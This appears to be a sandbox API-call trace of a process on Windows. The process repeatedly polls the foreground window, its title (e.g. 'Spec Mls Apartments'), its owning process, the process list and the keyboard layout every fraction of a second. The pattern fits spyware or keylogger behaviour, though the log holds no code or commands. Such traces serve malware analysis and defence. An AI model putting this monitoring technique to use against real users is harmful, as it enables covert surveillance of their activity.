[0189.021] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34e1ff0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34e1ff0, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0189.024] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0189.024] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0189.083] GetForegroundWindow () returned 0x101a2
[0189.083] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0189.145] GetForegroundWindow () returned 0x101a2
[0189.145] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0189.348] GetForegroundWindow () returned 0x101a2
[0189.348] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0189.410] GetForegroundWindow () returned 0x100f6
[0189.410] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0189.410] EnumProcesses (in: lpidProcess=0x245f930, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x245f930, lpcbNeeded=0x4f8f87c) returned 1
[0189.564] GetLastError () returned 0x0
[0189.564] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3502010, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3502010, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0189.567] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0189.567] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0189.568] GetForegroundWindow () returned 0x101a2
[0189.568] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0189.568] EnumProcesses (in: lpidProcess=0x247137c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x247137c, lpcbNeeded=0x4f8f87c) returned 1
[0189.568] GetLastError () returned 0x0
[0189.568] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3522030, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3522030, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0189.571] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0189.571] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0189.582] GetForegroundWindow () returned 0x101a2
[0189.582] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0189.644] GetForegroundWindow () returned 0x101a2
[0189.644] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0189.707] GetForegroundWindow () returned 0x101a2
[0189.707] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0189.769] GetForegroundWindow () returned 0x100f6
[0189.769] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0189.769] EnumProcesses (in: lpidProcess=0x248368c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x248368c, lpcbNeeded=0x4f8f87c) returned 1
[0189.771] GetLastError () returned 0x0
[0189.771] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3542050, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3542050, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0189.774] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0189.774] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0189.831] GetForegroundWindow () returned 0x101a2
[0189.831] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0189.831] EnumProcesses (in: lpidProcess=0x24951e4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24951e4, lpcbNeeded=0x4f8f87c) returned 1
[0189.832] GetLastError () returned 0x0
[0189.832] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3562070, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3562070, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0189.835] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0189.835] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0189.894] GetForegroundWindow () returned 0x101a2
[0189.894] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0189.956] GetForegroundWindow () returned 0x101a2
[0189.956] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0190.019] GetForegroundWindow () returned 0x101a2
[0190.019] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0190.081] GetForegroundWindow () returned 0x100f6
[0190.081] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0190.081] EnumProcesses (in: lpidProcess=0x24a7a98, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24a7a98, lpcbNeeded=0x4f8f87c) returned 1
[0190.082] GetLastError () returned 0x0
[0190.082] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3582090, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3582090, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0190.086] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0190.086] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0190.257] GetForegroundWindow () returned 0x101a2
[0190.257] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0190.257] EnumProcesses (in: lpidProcess=0x24b94e4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24b94e4, lpcbNeeded=0x4f8f87c) returned 1
[0190.258] GetLastError () returned 0x0
[0190.258] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35a20b0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35a20b0, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0190.261] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0190.261] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0190.315] GetForegroundWindow () returned 0x101a2
[0190.315] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0190.393] GetForegroundWindow () returned 0x101a2
[0190.393] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0190.455] GetForegroundWindow () returned 0x101a2
[0190.455] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0190.518] GetForegroundWindow () returned 0x100f6
[0190.518] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0190.518] EnumProcesses (in: lpidProcess=0x24cb770, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24cb770, lpcbNeeded=0x4f8f87c) returned 1
[0190.519] GetLastError () returned 0x0
[0190.519] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35c20d0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35c20d0, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0190.523] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0190.523] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0190.580] GetForegroundWindow () returned 0x101a2
[0190.580] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0190.580] EnumProcesses (in: lpidProcess=0x24dd1bc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24dd1bc, lpcbNeeded=0x4f8f87c) returned 1
[0190.581] GetLastError () returned 0x0
[0190.581] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35e20f0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35e20f0, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0190.584] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0190.584] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0190.643] GetForegroundWindow () returned 0x101a2
[0190.643] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0190.753] GetForegroundWindow () returned 0x101a2
[0190.753] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0190.814] GetForegroundWindow () returned 0x101a2
[0190.814] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0190.877] GetForegroundWindow () returned 0x100f6
[0190.877] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0190.877] EnumProcesses (in: lpidProcess=0x24ef464, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24ef464, lpcbNeeded=0x4f8f87c) returned 1
[0190.877] GetLastError () returned 0x0
[0190.877] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3602110, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3602110, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0190.881] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0190.881] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0190.939] GetForegroundWindow () returned 0x101a2
[0190.939] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0190.939] EnumProcesses (in: lpidProcess=0x2500eb0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2500eb0, lpcbNeeded=0x4f8f87c) returned 1
[0190.940] GetLastError () returned 0x0
[0190.940] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3622130, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3622130, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0190.944] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0190.944] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0191.002] GetForegroundWindow () returned 0x101a2
[0191.002] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0191.064] GetForegroundWindow () returned 0x101a2
[0191.064] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0191.126] GetForegroundWindow () returned 0x101a2
[0191.126] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0191.189] GetForegroundWindow () returned 0x100f6
[0191.189] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0191.189] EnumProcesses (in: lpidProcess=0x2513104, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2513104, lpcbNeeded=0x4f8f87c) returned 1
[0191.189] GetLastError () returned 0x0
[0191.711] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x32f3248, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x32f3248, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0191.714] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0191.714] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0191.715] GetForegroundWindow () returned 0x101a2
[0191.715] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0191.715] EnumProcesses (in: lpidProcess=0x236fa74, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x236fa74, lpcbNeeded=0x4f8f87c) returned 1
[0191.715] GetLastError () returned 0x0
[0191.715] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3329a00, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3329a00, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0191.719] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0191.719] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0191.719] GetForegroundWindow () returned 0x101a2
[0191.719] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0191.719] GetForegroundWindow () returned 0x101a2
[0191.719] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0191.719] GetForegroundWindow () returned 0x101a2
[0191.719] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0191.720] GetForegroundWindow () returned 0x100f6
[0191.720] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0191.720] EnumProcesses (in: lpidProcess=0x2381cc8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2381cc8, lpcbNeeded=0x4f8f87c) returned 1
[0191.720] GetLastError () returned 0x0
[0191.721] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3349a20, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3349a20, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0191.723] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0191.723] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0191.724] GetForegroundWindow () returned 0x101a2
[0191.724] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0191.724] EnumProcesses (in: lpidProcess=0x2393714, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2393714, lpcbNeeded=0x4f8f87c) returned 1
[0191.724] GetLastError () returned 0x0
[0191.724] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33a1eb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33a1eb0, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0191.727] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0191.727] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0191.727] GetForegroundWindow () returned 0x101a2
[0191.727] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0191.727] GetForegroundWindow () returned 0x101a2
[0191.727] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0191.750] GetForegroundWindow () returned 0x101a2
[0191.750] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0191.813] GetForegroundWindow () returned 0x100f6
[0191.813] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0191.813] EnumProcesses (in: lpidProcess=0x23a5968, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23a5968, lpcbNeeded=0x4f8f87c) returned 1
[0191.813] GetLastError () returned 0x0
[0191.814] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33c1ed0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33c1ed0, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0191.817] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0191.817] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0191.875] GetForegroundWindow () returned 0x101a2
[0191.875] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0191.875] EnumProcesses (in: lpidProcess=0x23b7408, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23b7408, lpcbNeeded=0x4f8f87c) returned 1
[0191.875] GetLastError () returned 0x0
[0191.876] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e1ef0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33e1ef0, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0191.879] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0191.879] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0191.937] GetForegroundWindow () returned 0x101a2
[0191.938] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0192.000] GetForegroundWindow () returned 0x101a2
[0192.000] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0192.062] GetForegroundWindow () returned 0x101a2
[0192.062] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0192.125] GetForegroundWindow () returned 0x100f6
[0192.125] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0192.125] EnumProcesses (in: lpidProcess=0x23c9738, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23c9738, lpcbNeeded=0x4f8f87c) returned 1
[0192.126] GetLastError () returned 0x0
[0192.126] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3401f10, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3401f10, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0192.129] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0192.129] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0192.187] GetForegroundWindow () returned 0x101a2
[0192.187] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0192.187] EnumProcesses (in: lpidProcess=0x23db184, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23db184, lpcbNeeded=0x4f8f87c) returned 1
[0192.188] GetLastError () returned 0x0
[0192.188] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3421f30, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3421f30, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0192.192] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0192.192] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0192.249] GetForegroundWindow () returned 0x101a2
[0192.249] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0192.327] GetForegroundWindow () returned 0x101a2
[0192.328] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0192.390] GetForegroundWindow () returned 0x101a2
[0192.390] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0192.452] GetForegroundWindow () returned 0x100f6
[0192.452] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0192.452] EnumProcesses (in: lpidProcess=0x23ee260, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23ee260, lpcbNeeded=0x4f8f87c) returned 1
[0192.453] GetLastError () returned 0x0
[0192.453] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3441f50, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3441f50, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0192.456] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0192.456] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0192.515] GetForegroundWindow () returned 0x101a2
[0192.515] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0192.515] EnumProcesses (in: lpidProcess=0x23ffcac, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23ffcac, lpcbNeeded=0x4f8f87c) returned 1
[0192.515] GetLastError () returned 0x0
[0192.516] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3461f70, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3461f70, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0192.519] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0192.519] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0192.577] GetForegroundWindow () returned 0x101a2
[0192.577] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0192.639] GetForegroundWindow () returned 0x101a2
[0192.639] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0192.702] GetForegroundWindow () returned 0x101a2
[0192.702] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0192.773] GetForegroundWindow () returned 0x100f6
[0192.773] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0192.774] EnumProcesses (in: lpidProcess=0x2412988, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2412988, lpcbNeeded=0x4f8f87c) returned 1
[0192.774] GetLastError () returned 0x0
[0192.774] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3482fa0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3482fa0, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0192.777] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0192.777] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0192.827] GetForegroundWindow () returned 0x101a2
[0192.827] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0192.827] EnumProcesses (in: lpidProcess=0x2428fdc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2428fdc, lpcbNeeded=0x4f8f87c) returned 1
[0192.827] GetLastError () returned 0x0
[0192.827] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34a2fc0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34a2fc0, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0192.832] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0192.832] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0192.889] GetForegroundWindow () returned 0x101a2
[0192.889] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0192.951] GetForegroundWindow () returned 0x101a2
[0192.951] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0193.014] GetForegroundWindow () returned 0x101a2
[0193.014] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0193.076] GetForegroundWindow () returned 0x100f6
[0193.076] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0193.076] EnumProcesses (in: lpidProcess=0x2459524, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2459524, lpcbNeeded=0x4f8f87c) returned 1
[0193.077] GetLastError () returned 0x0
[0193.077] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34c2fe0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34c2fe0, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0193.080] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0193.080] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0193.139] GetForegroundWindow () returned 0x101a2
[0193.139] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0193.139] EnumProcesses (in: lpidProcess=0x246af70, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x246af70, lpcbNeeded=0x4f8f87c) returned 1
[0193.139] GetLastError () returned 0x0
[0193.139] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34e3000, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34e3000, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0193.142] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0193.143] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0193.201] GetForegroundWindow () returned 0x101a2
[0193.201] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0193.264] GetForegroundWindow () returned 0x101a2
[0193.264] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0193.326] GetForegroundWindow () returned 0x101a2
[0193.326] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0193.389] GetForegroundWindow () returned 0x100f6
[0193.389] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0193.389] EnumProcesses (in: lpidProcess=0x247d6e0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x247d6e0, lpcbNeeded=0x4f8f87c) returned 1
[0193.389] GetLastError () returned 0x0
[0193.389] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3503020, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3503020, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0193.393] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0193.393] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0193.451] GetForegroundWindow () returned 0x101a2
[0193.451] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
